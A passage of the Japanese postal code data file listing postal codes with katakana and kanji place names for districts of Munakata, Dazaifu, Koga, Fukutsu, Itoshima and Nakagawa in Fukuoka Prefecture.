40220,81134,8113403,フクオカケン,ムナカタシ,ヒカリガオカ,福岡県,宗像市,ひかりケ丘,0,0,1,0,0,0 40220,81134,8113425,フクオカケン,ムナカタシ,ヒノサト,福岡県,宗像市,日の里,0,0,1,0,0,0 40220,81134,8113412,フクオカケン,ムナカタシ,ビョウドウジ,福岡県,宗像市,平等寺,0,0,0,0,0,0 40220,81134,8113430,フクオカケン,ムナカタシ,ヒライ,福岡県,宗像市,平井,0,0,1,0,0,0 40220,81135,8113504,フクオカケン,ムナカタシ,フカタ,福岡県,宗像市,深田,0,0,0,0,0,0 40220,81141,8114154,フクオカケン,ムナカタシ,フジワラ,福岡県,宗像市,冨地原,0,0,0,0,0,0 40220,81141,8114113,フクオカケン,ムナカタシ,マガリ(25、35),福岡県,宗像市,曲(25、35),1,0,0,0,0,0 40220,81134,8113413,フクオカケン,ムナカタシ,マガリ(ソノタ),福岡県,宗像市,曲(その他),1,0,0,0,0,0 40220,81134,8113439,フクオカケン,ムナカタシ,ミクラ,福岡県,宗像市,三倉,0,0,0,0,0,0 40220,81134,8113414,フクオカケン,ムナカタシ,ミツオカ,福岡県,宗像市,光岡,0,0,0,0,0,0 40220,81141,8114172,フクオカケン,ムナカタシ,ミドリマチ,福岡県,宗像市,緑町,0,0,0,0,0,0 40220,81134,8113416,フクオカケン,ムナカタシ,ミヤタ,福岡県,宗像市,宮田,0,0,1,0,0,0 40220,81135,8113503,フクオカケン,ムナカタシ,ムタジリ,福岡県,宗像市,牟田尻,0,0,0,0,0,0 40220,81134,8113434,フクオカケン,ムナカタシ,ムラヤマダ,福岡県,宗像市,村山田,0,0,0,0,0,0 40220,81134,8113435,フクオカケン,ムナカタシ,モチヤマ,福岡県,宗像市,用山,0,0,0,0,0,0 40220,81134,8113411,フクオカケン,ムナカタシ,ヤマダ,福岡県,宗像市,山田,0,0,0,0,0,0 40220,81135,8113506,フクオカケン,ムナカタシ,ヨシダ,福岡県,宗像市,吉田,0,0,0,0,0,0 40220,81141,8114153,フクオカケン,ムナカタシ,ヨシドメ,福岡県,宗像市,吉留,0,0,0,0,0,0 40220,81141,8114145,フクオカケン,ムナカタシ,リョウゲンジ,福岡県,宗像市,陵厳寺,0,0,1,0,0,0 40220,81134,8113438,フクオカケン,ムナカタシ,ワカミダイ,福岡県,宗像市,和歌美台,0,0,0,0,0,0 40221,81801,8180100,フクオカケン,ダザイフシ,イカニケイサイガナイバアイ,福岡県,太宰府市,以下に掲載がない場合,0,0,0,0,0,0 40221,81801,8180137,フクオカケン,ダザイフシ,アオバダイ,福岡県,太宰府市,青葉台,0,0,1,0,0,0 40221,81801,8180121,フクオカケン,ダザイフシ,アオヤマ,福岡県,太宰府市,青山,0,0,1,0,0,0 40221,81801,8180118,フクオカケン,ダザイフシ,イシザカ,福岡県,太宰府市,石坂,0,0,1,0,0,0 40221,81801,8180115,フクオカケン,ダザイフシ,ウチヤマ,福岡県,太宰府市,内山,0,0,0,0,0,0 40221,81801,8180123,フクオカケン,ダザイフシ,ウメガオカ,福岡県,太宰府市,梅ケ丘,0,0,1,0,0,0 40221,81801,8180134,フクオカケン,ダザイフシ,オオザノ,福岡県,太宰府市,大佐野,0,0,0,0,0,0 40221,81801,8180101,フクオカケン,ダザイフシ,カンゼオンジ,福岡県,太宰府市,観世音寺,0,0,1,0,0,0 40221,81801,8180114,フクオカケン,ダザイフシ,キタダニ,福岡県,太宰府市,北谷,0,0,0,0,0,0 40221,81801,8180132,フクオカケン,ダザイフシ,コクブ,福岡県,太宰府市,国分,0,0,1,0,0,0 40221,81801,8180125,フクオカケン,ダザイフシ,ゴジョウ,福岡県,太宰府市,五条,0,0,1,0,0,0 40221,81801,8180139,フクオカケン,ダザイフシ,サイト,福岡県,太宰府市,宰都,0,0,1,0,0,0 40221,81801,8180117,フクオカケン,ダザイフシ,サイフ,福岡県,太宰府市,宰府,0,0,1,0,0,0 40221,81801,8180133,フクオカケン,ダザイフシ,サカモト,福岡県,太宰府市,坂本,0,0,1,0,0,0 40221,81801,8180111,フクオカケン,ダザイフシ,サンジョウ,福岡県,太宰府市,三条,0,0,1,0,0,0 40221,81801,8180102,フクオカケン,ダザイフシ,シラカワ,福岡県,太宰府市,白川,0,0,0,0,0,0 40221,81801,8180103,フクオカケン,ダザイフシ,スザク,福岡県,太宰府市,朱雀,0,0,1,0,0,0 40221,81801,8180122,フクオカケン,ダザイフシ,タカオ,福岡県,太宰府市,高雄,0,0,1,0,0,0 40221,81801,8180104,フクオカケン,ダザイフシ,トオノコガ,福岡県,太宰府市,通古賀,0,0,1,0,0,0 40221,81801,8180105,フクオカケン,ダザイフシ,トフロウミナミ,福岡県,太宰府市,都府楼南,0,0,1,0,0,0 40221,81801,8180136,フクオカケン,ダザイフシ,ナガウラダイ,福岡県,太宰府市,長浦台,0,0,1,0,0,0 40221,81801,8180124,フクオカケン,ダザイフシ,バイコウエン,福岡県,太宰府市,梅香苑,0,0,1,0,0,0 40221,81801,8180110,フクオカケン,ダザイフシ,ミカサ,福岡県,太宰府市,御笠,0,0,1,0,0,0 40221,81801,8180131,フクオカケン,ダザイフシ,ミズキ,福岡県,太宰府市,水城,0,0,1,0,0,0 40221,81801,8180135,フクオカケン,ダザイフシ,ムカイザノ,福岡県,太宰府市,向佐野,0,0,0,0,0,0 40221,81801,8180138,フクオカケン,ダザイフシ,ヨシマツ,福岡県,太宰府市,吉松,0,0,1,0,0,0 40221,81801,8180119,フクオカケン,ダザイフシ,レンガヤ,福岡県,太宰府市,連歌屋,0,0,1,0,0,0 40223,81131,8113100,フクオカケン,コガシ,イカニケイサイガナイバアイ,福岡県,古賀市,以下に掲載がない場合,0,0,0,0,0,0 40223,81131,8113134,フクオカケン,コガシ,アオヤギ,福岡県,古賀市,青柳,0,0,0,0,0,0 40223,81131,8113133,フクオカケン,コガシ,アオヤギマチ,福岡県,古賀市,青柳町,0,0,0,0,0,0 40223,81131,8113136,フクオカケン,コガシ,イトガウラ,福岡県,古賀市,糸ケ浦,0,0,0,0,0,0 40223,81131,8113131,フクオカケン,コガシ,イマザイケ,福岡県,古賀市,今在家,0,0,0,0,0,0 40223,81131,8113117,フクオカケン,コガシ,イマノショウ,福岡県,古賀市,今の庄,0,0,1,0,0,0 40223,81131,8113102,フクオカケン,コガシ,エキヒガシ,福岡県,古賀市,駅東,0,0,1,0,0,0 40223,81131,8113135,フクオカケン,コガシ,オダケ,福岡県,古賀市,小竹,0,0,0,0,0,0 40223,81131,8113126,フクオカケン,コガシ,オヤマダ,福岡県,古賀市,小山田,0,0,0,0,0,0 40223,81131,8113104,フクオカケン,コガシ,カヅルガオカ,福岡県,古賀市,花鶴丘,0,0,1,0,0,0 40223,81131,8113132,フクオカケン,コガシ,カワバル,福岡県,古賀市,川原,0,0,0,0,0,0 40223,81131,8113115,フクオカケン,コガシ,クボ,福岡県,古賀市,久保,0,0,0,0,0,0 40223,81131,8113137,フクオカケン,コガシ,コガ,福岡県,古賀市,古賀,0,0,0,0,0,0 40223,81131,8113122,フクオカケン,コガシ,コモノ,福岡県,古賀市,薦野,0,0,0,0,0,0 40223,81131,8113105,フクオカケン,コガシ,シシブ,福岡県,古賀市,鹿部,0,0,0,0,0,0 40223,81131,8113116,フクオカケン,コガシ,ショウ,福岡県,古賀市,庄,0,0,0,0,0,0 40223,81131,8113118,フクオカケン,コガシ,シンクボ,福岡県,古賀市,新久保,0,0,1,0,0,0 40223,81131,8113127,フクオカケン,コガシ,シンバル,福岡県,古賀市,新原,0,0,0,0,0,0 40223,81131,8113125,フクオカケン,コガシ,タニヤマ,福岡県,古賀市,谷山,0,0,0,0,0,0 40223,81131,8113113,フクオカケン,コガシ,チドリ,福岡県,古賀市,千鳥,0,0,1,0,0,0 40223,81131,8113103,フクオカケン,コガシ,チュウオウ,福岡県,古賀市,中央,0,0,1,0,0,0 40223,81131,8113101,フクオカケン,コガシ,テンジン,福岡県,古賀市,天神,0,0,1,0,0,0 40223,81131,8113123,フクオカケン,コガシ,ネタビ,福岡県,古賀市,米多比,0,0,0,0,0,0 40223,81131,8113112,フクオカケン,コガシ,ハナミヒガシ,福岡県,古賀市,花見東,0,0,1,0,0,0 40223,81131,8113111,フクオカケン,コガシ,ハナミミナミ,福岡県,古賀市,花見南,0,0,1,0,0,0 40223,81131,8113106,フクオカケン,コガシ,ヒヨシ,福岡県,古賀市,日吉,0,0,1,0,0,0 40223,81131,8113114,フクオカケン,コガシ,マイノサト,福岡県,古賀市,舞の里,0,0,1,0,0,0 40223,81131,8113107,フクオカケン,コガシ,ミアケ,福岡県,古賀市,美明,0,0,1,0,0,0 40223,81131,8113121,フクオカケン,コガシ,ムシロウチ,福岡県,古賀市,筵内,0,0,0,0,0,0 40223,81131,8113124,フクオカケン,コガシ,ヤクオウジ,福岡県,古賀市,薬王寺,0,0,0,0,0,0 40224,81132,8113200,フクオカケン,フクツシ,イカニケイサイガナイバアイ,福岡県,福津市,以下に掲載がない場合,0,0,0,0,0,0 40224,81132,8113213,フクオカケン,フクツシ,フクツシノツギニバンチガクルバアイ,福岡県,福津市,福津市の次に番地がくる場合,0,0,0,0,0,0 40224,81132,8113220,フクオカケン,フクツシ,アケボノ,福岡県,福津市,あけぼの,0,0,0,0,0,0 40224,81132,8113202,フクオカケン,フクツシ,アゼマチ,福岡県,福津市,畦町,0,0,0,0,0,0 40224,81133,8113301,フクオカケン,フクツシ,アラジ,福岡県,福津市,在自,0,0,0,0,0,0 40224,81132,8113205,フクオカケン,フクツシ,ウチドノ,福岡県,福津市,内殿,0,0,0,0,0,0 40224,81133,8113302,フクオカケン,フクツシ,オオイシ,福岡県,福津市,大石,0,0,0,0,0,0 40224,81132,8113226,フクオカケン,フクツシ,オダケ,福岡県,福津市,小竹,0,0,1,0,0,0 40224,81135,8113521,フクオカケン,フクツシ,カツウラ,福岡県,福津市,勝浦,0,0,0,0,0,0 40224,81132,8113207,フクオカケン,フクツシ,カミサイゴウ,福岡県,福津市,上西郷,0,0,0,0,0,0 40224,81132,8113223,フクオカケン,フクツシ,コウヨウダイ,福岡県,福津市,光陽台,0,0,1,0,0,0 40224,81132,8113228,フクオカケン,フクツシ,コウヨウダイミナミ,福岡県,福津市,光陽台南,0,0,1,0,0,0 40224,81132,8113229,フクオカケン,フクツシ,サクラガワ,福岡県,福津市,桜川,0,0,0,0,0,0 40224,81132,8113204,フクオカケン,フクツシ,シャリクラ,福岡県,福津市,舎利蔵,0,0,0,0,0,0 40224,81133,8113303,フクオカケン,フクツシ,スダタ,福岡県,福津市,須多田,0,0,0,0,0,0 40224,81132,8113227,フクオカケン,フクツシ,タカヒラ,福岡県,福津市,高平,0,0,0,0,0,0 40224,81132,8113217,フクオカケン,フクツシ,チュウオウ,福岡県,福津市,中央,0,0,1,0,0,0 40224,81132,8113222,フクオカケン,フクツシ,ツマル,福岡県,福津市,津丸,0,0,0,0,0,0 40224,81133,8113304,フクオカケン,フクツシ,ツヤザキ,福岡県,福津市,津屋崎,0,0,1,0,0,0 40224,81132,8113224,フクオカケン,フクツシ,テビカ,福岡県,福津市,手光,0,0,0,0,0,0 40224,81132,8113218,フクオカケン,フクツシ,テビカミナミ,福岡県,福津市,手光南,0,0,1,0,0,0 40224,81132,8113219,フクオカケン,フクツシ,ニシフクマ,福岡県,福津市,西福間,0,0,1,0,0,0 40224,81135,8113522,フクオカケン,フクツシ,ヌヤマ,福岡県,福津市,奴山,0,0,0,0,0,0 40224,81132,8113214,フクオカケン,フクツシ,ハナミガオカ,福岡県,福津市,花見が丘,0,0,1,0,0,0 40224,81132,8113216,フクオカケン,フクツシ,ハナミガハマ,福岡県,福津市,花見が浜,0,0,1,0,0,0 40224,81132,8113215,フクオカケン,フクツシ,ハナミノサト,福岡県,福津市,花見の里,0,0,1,0,0,0 40224,81132,8113225,フクオカケン,フクツシ,ヒガシフクマ,福岡県,福津市,東福間,0,0,1,0,0,0 40224,81132,8113206,フクオカケン,フクツシ,ヒサスエ,福岡県,福津市,久末,0,0,0,0,0,0 40224,81132,8113208,フクオカケン,フクツシ,フクマエキヒガシ,福岡県,福津市,福間駅東,0,0,1,0,0,0 40224,81132,8113212,フクオカケン,フクツシ,フクマミナミ,福岡県,福津市,福間南,0,0,1,0,0,0 40224,81133,8113308,フクオカケン,フクツシ,ホシガオカ,福岡県,福津市,星ケ丘,0,0,0,0,0,0 40224,81133,8113305,フクオカケン,フクツシ,ミヤジ,福岡県,福津市,宮司,0,0,1,0,0,0 40224,81133,8113312,フクオカケン,フクツシ,ミヤジガオカ,福岡県,福津市,宮司ヶ丘,0,0,0,0,0,0 40224,81133,8113311,フクオカケン,フクツシ,ミヤジハマ,福岡県,福津市,宮司浜,0,0,1,0,0,0 40224,81133,8113309,フクオカケン,フクツシ,ミヤジモトマチ,福岡県,福津市,宮司元町,0,0,0,0,0,0 40224,81132,8113203,フクオカケン,フクツシ,モトギ,福岡県,福津市,本木,0,0,0,0,0,0 40224,81132,8113201,フクオカケン,フクツシ,ヤツナミ,福岡県,福津市,八並,0,0,0,0,0,0 40224,81133,8113306,フクオカケン,フクツシ,ユクエ,福岡県,福津市,生家,0,0,0,0,0,0 40224,81132,8113211,フクオカケン,フクツシ,ユミノサト,福岡県,福津市,有弥の里,0,0,1,0,0,0 40224,81132,8113221,フクオカケン,フクツシ,ワカギダイ,福岡県,福津市,若木台,0,0,1,0,0,0 40224,81133,8113307,フクオカケン,フクツシ,ワタリ,福岡県,福津市,渡,0,0,0,0,0,0 40230,81911,8191100,フクオカケン,イトシマシ,イカニケイサイガナイバアイ,福岡県,糸島市,以下に掲載がない場合,0,0,0,0,0,0 40230,81911,8191132,フクオカケン,イトシマシ,アリタ,福岡県,糸島市,有田,0,0,0,0,0,0 40230,81911,8191127,フクオカケン,イトシマシ,アリタチュウオウ,福岡県,糸島市,有田中央,0,0,1,0,0,0 40230,81911,8191152,フクオカケン,イトシマシ,イイバル,福岡県,糸島市,飯原,0,0,0,0,0,0 40230,81911,8191103,フクオカケン,イトシマシ,イケダ,福岡県,糸島市,池田,0,0,0,0,0,0 40230,81915,8191562,フクオカケン,イトシマシ,イタ,福岡県,糸島市,井田,0,0,0,0,0,0 40230,81911,8191101,フクオカケン,イトシマシ,イタモチ,福岡県,糸島市,板持,0,0,1,0,0,0 40230,81911,8191126,フクオカケン,イトシマシ,イワモト,福岡県,糸島市,岩本,0,0,0,0,0,0 40230,81915,8191582,フクオカケン,イトシマシ,イワラ,福岡県,糸島市,井原,0,0,0,0,0,0 40230,81911,8191112,フクオカケン,イトシマシ,ウラシ,福岡県,糸島市,浦志,0,0,1,0,0,0 40230,81911,8191105,フクオカケン,イトシマシ,ウルウ,福岡県,糸島市,潤,0,0,1,0,0,0 40230,81915,8191573,フクオカケン,イトシマシ,オウマル,福岡県,糸島市,王丸,0,0,0,0,0,0 40230,81911,8191135,フクオカケン,イトシマシ,オオウラ,福岡県,糸島市,大浦,0,0,0,0,0,0 40230,81911,8191121,フクオカケン,イトシマシ,オギノウラ,福岡県,糸島市,荻浦,0,0,0,0,0,0 40230,81911,8191124,フクオカケン,イトシマシ,カフリ,福岡県,糸島市,加布里,0,0,0,0,0,0 40230,81911,8191123,フクオカケン,イトシマシ,カミアリ,福岡県,糸島市,神在,0,0,0,0,0,0 40230,81911,8191155,フクオカケン,イトシマシ,カワツキ,福岡県,糸島市,川付,0,0,0,0,0,0 40230,81915,8191574,フクオカケン,イトシマシ,カワバル,福岡県,糸島市,川原,0,0,0,0,0,0 40230,81911,8191141,フクオカケン,イトシマシ,クラモチ,福岡県,糸島市,蔵持,0,0,0,0,0,0 40230,81915,8191563,フクオカケン,イトシマシ,コウライジ,福岡県,糸島市,高来寺,0,0,0,0,0,0 40230,81911,8191147,フクオカケン,イトシマシ,コウリキ,福岡県,糸島市,香力,0,0,0,0,0,0 40230,81911,8191106,フクオカケン,イトシマシ,シト,福岡県,糸島市,志登,0,0,0,0,0,0 40230,81911,8191131,フクオカケン,イトシマシ,シノワラ,福岡県,糸島市,篠原,0,0,0,0,0,0 40230,81911,8191129,フクオカケン,イトシマシ,シノワラニシ,福岡県,糸島市,篠原西,0,0,1,0,0,0 40230,81911,8191128,フクオカケン,イトシマシ,シノワラヒガシ,福岡県,糸島市,篠原東,0,0,1,0,0,0 40230,81913,8191301,フクオカケン,イトシマシ,シマイダハラ,福岡県,糸島市,志摩井田原,0,0,0,0,0,0 40230,81913,8191313,フクオカケン,イトシマシ,シマイナドメ,福岡県,糸島市,志摩稲留,0,0,0,0,0,0 40230,81913,8191315,フクオカケン,イトシマシ,シマイナバ,福岡県,糸島市,志摩稲葉,0,0,0,0,0,0 40230,81913,8191334,フクオカケン,イトシマシ,シマキシ,福岡県,糸島市,志摩岐志,0,0,0,0,0,0 40230,81913,8191331,フクオカケン,イトシマシ,シマクガ,福岡県,糸島市,志摩久家,0,0,0,0,0,0 40230,81913,8191335,フクオカケン,イトシマシ,シマケヤ,福岡県,糸島市,志摩芥屋,0,0,0,0,0,0 40230,81913,8191323,フクオカケン,イトシマシ,シマコガネマル,福岡県,糸島市,志摩小金丸,0,0,0,0,0,0 40230,81913,8191321,フクオカケン,イトシマシ,シマコフジ,福岡県,糸島市,志摩小富士,0,0,0,0,0,0 40230,81913,8191304,フクオカケン,イトシマシ,シマサクライ,福岡県,糸島市,志摩桜井,0,0,0,0,0,0 40230,81913,8191333,フクオカケン,イトシマシ,シマシンマチ,福岡県,糸島市,志摩新町,0,0,0,0,0,0 40230,81913,8191311,フクオカケン,イトシマシ,シマツワザキ,福岡県,糸島市,志摩津和崎,0,0,0,0,0,0 40230,81913,8191325,フクオカケン,イトシマシ,シマニシカイヅカ,福岡県,糸島市,志摩西貝塚,0,0,0,0,0,0 40230,81913,8191303,フクオカケン,イトシマシ,シマノギタ,福岡県,糸島市,志摩野北,0,0,0,0,0,0 40230,81913,8191312,フクオカケン,イトシマシ,シマハツ,福岡県,糸島市,志摩初,0,0,0,0,0,0 40230,81913,8191305,フクオカケン,イトシマシ,シマババ,福岡県,糸島市,志摩馬場,0,0,0,0,0,0 40230,81913,8191324,フクオカケン,イトシマシ,シマヒガシカイヅカ,福岡県,糸島市,志摩東貝塚,0,0,0,0,0,0 40230,81913,8191336,フクオカケン,イトシマシ,シマヒメシマ,福岡県,糸島市,志摩姫島,0,0,0,0,0,0 40230,81913,8191332,フクオカケン,イトシマシ,シマフナコシ,福岡県,糸島市,志摩船越,0,0,0,0,0,0 40230,81913,8191306,フクオカケン,イトシマシ,シママツグマ,福岡県,糸島市,志摩松隈,0,0,0,0,0,0 40230,81913,8191322,フクオカケン,イトシマシ,シマミトコ,福岡県,糸島市,志摩御床,0,0,0,0,0,0 40230,81913,8191314,フクオカケン,イトシマシ,シマモロヨシ,福岡県,糸島市,志摩師吉,0,0,0,0,0,0 40230,81913,8191302,フクオカケン,イトシマシ,シマヨシダ,福岡県,糸島市,志摩吉田,0,0,0,0,0,0 40230,81911,8191154,フクオカケン,イトシマシ,シライト,福岡県,糸島市,白糸,0,0,0,0,0,0 40230,81911,8191114,フクオカケン,イトシマシ,シンデン,福岡県,糸島市,新田,0,0,0,0,0,0 40230,81915,8191581,フクオカケン,イトシマシ,ズイバイジ,福岡県,糸島市,瑞梅寺,0,0,0,0,0,0 40230,81915,8191572,フクオカケン,イトシマシ,スエナガ,福岡県,糸島市,末永,0,0,0,0,0,0 40230,81911,8191156,フクオカケン,イトシマシ,セト,福岡県,糸島市,瀬戸,0,0,0,0,0,0 40230,81915,8191561,フクオカケン,イトシマシ,ソネ,福岡県,糸島市,曽根,0,0,0,0,0,0 40230,81915,8191564,フクオカケン,イトシマシ,ダイモン,福岡県,糸島市,大門,0,0,0,0,0,0 40230,81911,8191143,フクオカケン,イトシマシ,タカウエ,福岡県,糸島市,高上,0,0,0,0,0,0 40230,81915,8191571,フクオカケン,イトシマシ,タカス,福岡県,糸島市,高祖,0,0,0,0,0,0 40230,81911,8191102,フクオカケン,イトシマシ,タカタ,福岡県,糸島市,高田,0,0,1,0,0,0 40230,81911,8191134,フクオカケン,イトシマシ,タク,福岡県,糸島市,多久,0,0,0,0,0,0 40230,81911,8191125,フクオカケン,イトシマシ,チハヤシンデン,福岡県,糸島市,千早新田,0,0,0,0,0,0 40230,81911,8191111,フクオカケン,イトシマシ,トマリ,福岡県,糸島市,泊,0,0,0,0,0,0 40230,81911,8191133,フクオカケン,イトシマシ,トミ,福岡県,糸島市,富,0,0,0,0,0,0 40230,81911,8191153,フクオカケン,イトシマシ,ナガノ,福岡県,糸島市,長野,0,0,0,0,0,0 40230,81915,8191575,フクオカケン,イトシマシ,ニシノドウ,福岡県,糸島市,西堂,0,0,0,0,0,0 40230,81916,8191622,フクオカケン,イトシマシ,ニジョウイキサン,福岡県,糸島市,二丈一貴山,0,0,0,0,0,0 40230,81916,8191623,フクオカケン,イトシマシ,ニジョウイシザキ,福岡県,糸島市,二丈石崎,0,0,0,0,0,0 40230,81916,8191611,フクオカケン,イトシマシ,ニジョウカタヤマ,福岡県,糸島市,二丈片山,0,0,0,0,0,0 40230,81916,8191621,フクオカケン,イトシマシ,ニジョウカミフカエ,福岡県,糸島市,二丈上深江,0,0,0,0,0,0 40230,81916,8191642,フクオカケン,イトシマシ,ニジョウシカカ,福岡県,糸島市,二丈鹿家,0,0,0,0,0,0 40230,81916,8191616,フクオカケン,イトシマシ,ニジョウタケ,福岡県,糸島市,二丈武,0,0,0,0,0,0 40230,81916,8191615,フクオカケン,イトシマシ,ニジョウタナカ,福岡県,糸島市,二丈田中,0,0,0,0,0,0 40230,81916,8191625,フクオカケン,イトシマシ,ニジョウナガイシ,福岡県,糸島市,二丈長石,0,0,0,0,0,0 40230,81916,8191614,フクオカケン,イトシマシ,ニジョウハマクボ,福岡県,糸島市,二丈浜窪,0,0,0,0,0,0 40230,81916,8191626,フクオカケン,イトシマシ,ニジョウハロ,福岡県,糸島市,二丈波呂,0,0,0,0,0,0 40230,81916,8191601,フクオカケン,イトシマシ,ニジョウフカエ,福岡県,糸島市,二丈深江,0,0,0,0,0,0 40230,81916,8191631,フクオカケン,イトシマシ,ニジョウフクイ,福岡県,糸島市,二丈福井,0,0,0,0,0,0 40230,81916,8191612,フクオカケン,イトシマシ,ニジョウマスエ(シモマスエ),福岡県,糸島市,二丈松末(下松末),1,0,0,0,0,0 40230,81916,8191613,フクオカケン,イトシマシ,ニジョウマスエ(ソノタ),福岡県,糸島市,二丈松末(その他),1,0,0,0,0,0 40230,81916,8191627,フクオカケン,イトシマシ,ニジョウマツクニ,福岡県,糸島市,二丈松国,0,0,0,0,0,0 40230,81916,8191624,フクオカケン,イトシマシ,ニジョウミツヨシ,福岡県,糸島市,二丈満吉,0,0,0,0,0,0 40230,81916,8191641,フクオカケン,イトシマシ,ニジョウヨシイ,福岡県,糸島市,二丈吉井,0,0,0,0,0,0 40230,81911,8191104,フクオカケン,イトシマシ,ハタエ,福岡県,糸島市,波多江,0,0,0,0,0,0 40230,81911,8191107,フクオカケン,イトシマシ,ハタエエキキタ,福岡県,糸島市,波多江駅北,0,0,1,0,0,0 40230,81911,8191108,フクオカケン,イトシマシ,ハタエエキミナミ,福岡県,糸島市,波多江駅南,0,0,1,0,0,0 40230,81911,8191122,フクオカケン,イトシマシ,ヒガシ,福岡県,糸島市,東,0,0,0,0,0,0 40230,81911,8191151,フクオカケン,イトシマシ,ホン,福岡県,糸島市,本,0,0,0,0,0,0 40230,81911,8191113,フクオカケン,イトシマシ,マエバル,福岡県,糸島市,前原,0,0,0,0,0,0 40230,81911,8191138,フクオカケン,イトシマシ,マエバルエキミナミ,福岡県,糸島市,前原駅南,0,0,1,0,0,0 40230,81911,8191118,フクオカケン,イトシマシ,マエバルキタ,福岡県,糸島市,前原北,0,0,1,0,0,0 40230,81911,8191116,フクオカケン,イトシマシ,マエバルチュウオウ,福岡県,糸島市,前原中央,0,0,1,0,0,0 40230,81911,8191117,フクオカケン,イトシマシ,マエバルニシ,福岡県,糸島市,前原西,0,0,1,0,0,0 40230,81911,8191119,フクオカケン,イトシマシ,マエバルヒガシ,福岡県,糸島市,前原東,0,0,1,0,0,0 40230,81911,8191139,フクオカケン,イトシマシ,マエバルミナミ,福岡県,糸島市,前原南,0,0,1,0,0,0 40230,81915,8191583,フクオカケン,イトシマシ,ミクモ,福岡県,糸島市,三雲,0,0,0,0,0,0 40230,81911,8191146,フクオカケン,イトシマシ,ミサカ,福岡県,糸島市,三坂,0,0,0,0,0,0 40230,81911,8191136,フクオカケン,イトシマシ,ミサキガオカ,福岡県,糸島市,美咲が丘,0,0,1,0,0,0 40230,81911,8191137,フクオカケン,イトシマシ,ミナカゼダイ,福岡県,糸島市,南風台,0,0,1,0,0,0 40230,81911,8191142,フクオカケン,イトシマシ,ヤシマ,福岡県,糸島市,八島,0,0,0,0,0,0 40230,81911,8191144,フクオカケン,イトシマシ,ヤマギタ,福岡県,糸島市,山北,0,0,0,0,0,0 40230,81911,8191115,フクオカケン,イトシマシ,ユビ,福岡県,糸島市,油比,0,0,0,0,0,0 40230,81911,8191145,フクオカケン,イトシマシ,ライザン,福岡県,糸島市,雷山,0,0,0,0,0,0 40305,81112,8111200,フクオカケン,チクシグンナカガワマチ,イカニケイサイガナイバアイ,福岡県,筑紫郡那珂川町,以下に掲載がない場合,0,0,0,0,0,0 40305,81112,8111224,フクオカケン,チクシグンナカガワマチ,アントク,福岡県,筑紫郡那珂川町,安徳,0,0,0,0,0,0 40305,81112,8111233,フクオカケン,チクシグンナカガワマチ,イチノセ,福岡県,筑紫郡那珂川町,市ノ瀬,0,0,0,0,0,0 40305,81112,8111211,フクオカケン,チクシグンナカガワマチ,イマミツ,福岡県,筑紫郡那珂川町,今光,0,0,1,0,0,0 40305,81112,8111241,フクオカケン,チクシグンナカガワマチ,ウシロノ,福岡県,筑紫郡那珂川町,後野,0,0,0,0,0,0 40305,81112,8111232,フクオカケン,チクシグンナカガワマチ,ウメガネ,福岡県,筑紫郡那珂川町,埋金,0,0,0,0,0,0 40305,81112,8111255,フクオカケン,チクシグンナカガワマチ,エコ,福岡県,筑紫郡那珂川町,恵子,0,0,1,0,0,0 40305,81112,8111221,フクオカケン,チクシグンナカガワマチ,オウツカダイ,福岡県,筑紫郡那珂川町,王塚台,0,0,1,0,0,0 40305,81112,8111201,フクオカケン,チクシグンナカガワマチ,カタナワ,福岡県,筑紫郡那珂川町,片縄,0,0,1,0,0,0 40305,81112,8111203,フクオカケン,チクシグンナカガワマチ,カタナワキタ,福岡県,筑紫郡那珂川町,片縄北,0,0,1,0,0,0 40305,81112,8111202,フクオカケン,チクシグンナカガワマチ,カタナワニシ,福岡県,筑紫郡那珂川町,片縄西,0,0,1,0,0,0 40305,81112,8111204,フクオカケン,チクシグンナカガワマチ,カタナワヒガシ,福岡県,筑紫郡那珂川町,片縄東,0,0,1,0,0,0 40305,81112,8111223,フクオカケン,チクシグンナカガワマチ,カミカジワラ,福岡県,筑紫郡那珂川町,上梶原,0,0,0,0,0,0 40305,81112,8111234,フクオカケン,チクシグンナカガワマチ,ゴカヤマ,福岡県,筑紫郡那珂川町,五ケ山,0,0,0,0,0,0 40305,81112,8111252,フクオカケン,チクシグンナカガワマチ,ゴロウマル,福岡県,筑紫郡那珂川町,五郎丸,0,0,1,0,0,0 40305,81112,8111222,フクオカケン,チクシグンナカガワマチ,シモカジワラ,福岡県,筑紫郡那珂川町,下梶原,0,0,0,0,0,0 40305,81112,8111253,フクオカケン,チクシグンナカガワマチ,チュウ,福岡県,筑紫郡那珂川町,仲,0,0,1,0,0,0 40305,81112,8111256,フクオカケン,チクシグンナカガワマチ,チュウマル,福岡県,筑紫郡那珂川町,仲丸,0,0,1,0,0,0 40305,81112,8111254,フクオカケン,チクシグンナカガワマチ,ドウゼン,福岡県,筑紫郡那珂川町,道善,0,0,1,0,0,0 40305,81112,8111213,フクオカケン,チクシグンナカガワマチ,ナカバル,福岡県,筑紫郡那珂川町,中原,0,0,1,0,0,0 40305,81112,8111214,フクオカケン,チクシグンナカガワマチ,ナカバルヒガシ,福岡県,筑紫郡那珂川町,中原東,0,0,1,0,0,0 40305,81112,8111212,フクオカケン,チクシグンナカガワマチ,ナカバルミハルガオカ,福岡県,筑紫郡那珂川町,中原観晴が丘,0,0,0,0,0,0 40305,81112,8111236,フクオカケン,チクシグンナカガワマチ,ナメリ,福岡県,筑紫郡那珂川町,南面里,0,0,0,0,0,0 40305,81112,8111235,フクオカケン,チクシグンナカガワマチ,ナルタケ,福岡県,筑紫郡那珂川町,成竹,0,0,0,0,0,0 40305,81112,8111242,フクオカケン,チクシグンナカガワマチ,ニシグマ,福岡県,筑紫郡那珂川町,西隈,0,0,0,0,0,0 40305,81112,8111246,フクオカケン,チクシグンナカガワマチ,ニシハタ,福岡県,筑紫郡那珂川町,西畑,0,0,0,0,0,0 40305,81112,8111243,フクオカケン,チクシグンナカガワマチ,ヒガシグマ,福岡県,筑紫郡那珂川町,東隈,0,0,1,0,0,0 40305,81112,8111231,フクオカケン,チクシグンナカガワマチ,フニュウドウ,福岡県,筑紫郡那珂川町,不入道,0,0,0,0,0,0 40305,81112,8111245,フクオカケン,チクシグンナカガワマチ,ベッショ,福岡県,筑紫郡那珂川町,別所,0,0,0,0,0,0 40305,81112,8111251,フクオカケン,チクシグンナカガワマチ,マツノキ,福岡県,筑紫郡那珂川町,松木,0,0,1,0,0,0 40305,81112,8111215,フクオカケン,チクシグンナカガワマチ,マツバラ,福岡県,筑紫郡那珂川町,松原,0,0,0,0,0,0 40305,81112,8111216,フクオカケン,チクシグンナカガワマチ,ミハルガオカ,福岡県,筑紫郡那珂川町,観晴が丘,0,0,0,0,0,0 